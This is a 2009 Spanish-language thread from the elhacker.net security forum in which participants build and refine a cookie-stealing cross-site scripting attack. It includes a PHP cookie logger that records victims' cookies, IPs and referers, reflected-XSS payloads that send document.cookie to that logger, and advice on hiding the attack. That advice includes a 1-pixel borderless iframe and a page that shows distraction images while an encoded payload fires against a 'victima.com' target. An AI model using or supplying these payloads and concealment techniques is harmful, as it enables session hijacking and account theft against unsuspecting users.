Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: pedrox@ en 2 Marzo 2009, 01:52 am



Título: Duda sobre XSS
Publicado por: pedrox@ en 2 Marzo 2009, 01:52 am
Bueno me he puesto a leer un poco sobre XSS y hacer pruebas en mi localhost, hize un script vulnerable a XSS (vuln.php) y otro que recoge la cookie (xss.php) por la variable 'cookie'.

Entonces si entraría a:
http://localhost/xss/vuln.php?x=<script>window.location='http://localhost/xss/xss.php?cookie='+document.cookie;</script>

en un archivo llamado log.html se me escribiría la cookie, bien...
No podría meter ese enlace entre etiquetas <img> por ejemplo:

prueba.html
<img src="http://localhost/xss/vuln.php?x=<script>window.location='http://localhost/xss/xss.php?cookie='+document.cookie;</script>">

para que cuando habra prueba.html se envie la petición get con esa url y se guarde la cookie menos sospechosamente?

Intente hacerlo asi y no me rulo, pase la url por urlencode() y tampoco.

Un saludo y gracias de antemano  ;)


Título: Re: Duda sobre XSS
Publicado por: sirdarckcat en 2 Marzo 2009, 02:54 am
cambia en + por %2B y cambia document.cookie por escape(document.cookie)


Título: Re: Duda sobre XSS
Publicado por: WHK en 2 Marzo 2009, 03:06 am
Eso no debería funcionar a menos que el explorador sea vulnerable ya que cuando encierras una ejecución de script dentro de <img> esta no debería interpretar ningún tipo de código html y mucho menos javascript, por eso en las pruebas de concepto por lo general yo coloco un iframe de tamaño 1 pixel sin bordes ni scrollbars para evitar que se vea el punto de color negro.

Por lo que yo tengo entendido no puedes causar una ejecución arbitraria desde imagenes, hojas de estilos (a exepción de msie con expresion()), etc. Lo que si puedes hacer es causar un CSRF y esas cosas porque los headers se interpretan igual ya sean cookies, redirecciones, autentificación de acceso, etc.


Título: Re: Duda sobre XSS
Publicado por: sirdarckcat en 2 Marzo 2009, 04:55 am
el lo que quiere es guardar en la cookie el valor
supongo despues la aplicacion imprime el valor de la cookie

de hecho usando esta tecnica puedes bypasear noscript.. ve la vulnerabilidad de los routers motorola que puse en Test.


Título: Re: Duda sobre XSS
Publicado por: pedrox@ en 2 Marzo 2009, 08:07 am
yo tengo xss.php:
Código
  1. <?php
  2. $archivo = fopen('log.html','a');
  3.  
  4. $cookie = $_GET['cookie'];
  5. $ip = $_SERVER['REMOTE_ADDR'];
  6. $re = $_SERVER['HTTP_REFERER'];
  7. $fecha=date("j F, Y, g:i a");
  8.  
  9. fwrite($archivo, '<hr>Cookie: '.$cookie.'<br>Viene de: '.$re.'<br> IP: ' .$ip. '<br> Fecha y Hora: ' .$fecha. '</hr>');
  10. fclose($archivo);
  11. ?>

lo que quiero es que al abrir prueba.html que es:
Código
  1. <title>PRUEBAS XSS</title>
  2. <img src="http://localhost/xss/vuln.php?x=<script>window.location='http://localhost/xss/xss.php?cookie='+document.cookie;</script>">
  3. </body>
  4. </html>

se ejecute el XSS y se me envie a log.html la cookie.
Espero que me entiendan, gracias por las respuestas.

Saludos,


Título: Re: Duda sobre XSS
Publicado por: sirdarckcat en 2 Marzo 2009, 12:26 pm
cual es el codigo de vuln.php?


Título: Re: Duda sobre XSS
Publicado por: pedrox@ en 2 Marzo 2009, 14:29 pm
Pues para hacer pruebas hize esto que es simple y crea una sesión para que me guarde el PHPSESSID:

Código
  1. <?php
  2. /* VULN XSS */
  3. $_SESSION['x'] =  true;
  4. echo $_GET['x'];
  5.  
  6. ?>

por cierto que diferencia hay entre una cookie y una sesión?

Saludos y gracias por la ayuda
 ;)


Título: Re: Duda sobre XSS
Publicado por: WHK en 2 Marzo 2009, 21:13 pm
Código
  1. <?php
  2. /* VULN XSS */
  3. $_SESSION['x'] =  true;
  4. echo $_GET['x'];
  5.  
  6. ?>

Esa linea --> $_SESSION['x'] =  true; no le veo entido al igual que session_start() ya que no están siendo utilizadas, lo que necesitas es insertarle valores:

Código
  1. <?php
  2. /* VULN XSS */
  3. if(!$_COOKIE['x']){
  4. setcookie('x', 'test');
  5. $_COOKIE['x'] = 'test';
  6. }
  7. // echo nl2br(htmlspecialchars($_COOKIE['x'], ENT_QUOTES)); /* Forma correcta no vulnerable */
  8. echo $_COOKIE['x']; /* Forma incorrecta vulnerable */
  9. ?>

Con esto ya estás declarando el valor de la cookie y podrás probar con ella.


Título: Re: Duda sobre XSS
Publicado por: pedrox@ en 2 Marzo 2009, 23:15 pm
pero tu lo que estás haciendo hay es para que meta en $_COOKIE['x'] el XSS.
Yo lo que quiero es un XSS normal, la sesion nomas la creaba para que document.cookie tendría un valor y poder insertalo a mi archivo donde se guardarán las cookies.

Con el echo $_GET['x']; insertaba el XSS y enviaba a mi registrador de cookies el PHPSESSID.
No se si me entiendes. Aunque tb lo podría haber hecho asi, creo..:
Código
  1. <?php
  2. if(!$_COOKIE['x']){
  3.      setcookie('x', 'test');
  4. }
  5. echo $_GET['vuln'];
  6. ?>

Despues haciendo http://localhost/test.php?vuln=%3Cscript%3Ealert(document.cookie)%3C/script%3E

Obtendría: x=test

Saludos.


Título: Re: Duda sobre XSS
Publicado por: sirdarckcat en 3 Marzo 2009, 06:58 am
bah entonces whk tiene razon y el <img> no te va a servir para explotarlo.

cambia <img> por <iframe>


Título: Re: Duda sobre XSS
Publicado por: Azielito en 3 Marzo 2009, 18:56 pm
aun que creo recordar que se puede poner algo asi como
Código
  1. <img src="" onError="javascript:alert(document.cookie)" />

No he probado hasta donde se puede llevar ese "onError" pero me funciono en Firefox y en iExplorer :')


Título: Re: Duda sobre XSS
Publicado por: WHK en 3 Marzo 2009, 21:03 pm
o con onload="alert(document.cookie)" pero si vas a hacer eso ps entonces mejor pones el javascript de plano en el html incrustado pero para que no se vea o por lo menos se disimule que se haga en un iframe y que ese iframe contenga un javascript cifrado talves con "web encript" y que imprima un location hacia el xss, es mas, ni si quiera necesitas hacer eso, basta con php y un <?php header('location: ...'); ?> ya que desde ajáx no compartes sesiones como para compartir las cookies haciendo llamadas remotas. Es mas, ni si quiera necesitas insertar otro archivo en el iframe:

Código
  1. <?php
  2. $xss = 'x"><sCrIpT s=d>r=document; alert(r.cookie);</ScRiPt><br x="x';
  3. $distraccion[] =
  4. 'http://www.unaplauso.com/images/anuncios/3/9/7/793_animacion-payaso-pitiklin_2.jpg';
  5. $distraccion[] =
  6. 'http://www.ctv.es/USERS/hnostar/TECH/V9000/payaso.jpg';
  7. $distraccion[] =
  8. 'http://mikevsdinos.files.wordpress.com/2008/09/payaso.jpg';
  9. $distraccion[] =
  10. 'http://www.galeriade.com/Sirona/data/media/3/Payaso_Moderno_-_DSC_2512.jpg';
  11.  
  12. $distraccion = $distraccion[rand(0, (count($distraccion) - 1))];
  13. ?>
  14. <html>
  15. <img border="0" src="<?php echo $distraccion; ?>"/>
  16. <br />
  17. <iframe src="http://www.victima.com/vulnerable.php?variable=<?php
  18. echo urlencode($xss);
  19. ?>" width="1" height="1" frameborder="0"></iframe>
  20. </html>


Título: Re: Duda sobre XSS
Publicado por: pedrox@ en 4 Marzo 2009, 01:08 am
yeee

me hize un archivo llamado entra.php con lo que comentaste del iframe:

Código
  1. <?php
  2. $xss = urlencode("<script>window.location='http://localhost/xss/xss.php?cookie='+document.cookie;</script>");
  3. ?>
  4.  
  5. <html>
  6. <iframe src="http://localhost/xss/vuln.php?vuln=<?=$xss?>" width="1" height="1" frameborder="0"></iframe>
  7. </html>

Al parecer lo del iframe si es buena idea ya que como no ponga un sniffer y vea los request dudo que se de nadie cuenta. Con <img entonces no se puede hacer verdad?

intente:
<img src="http://localhost/xss/vuln.php?vuln=%3Cscript%3Ewindow.location%3D%27http%3A%2F%2Flocalhost%2Fxss%2Fxss.php%3Fcookie%3D%27%2Bdocument.cookie%3B%3C%2Fscript%3E">

pero no me envia nada al archivo donde almaceno las cookies, vamos no va al window.location.
Con la librería gd de php se podría hacer que carge una imagen y a la vez haga una petición a la web enviandonos la cookie, no? o esto solo sirve para CSRF?

Un saludo, gracias por las respuestas.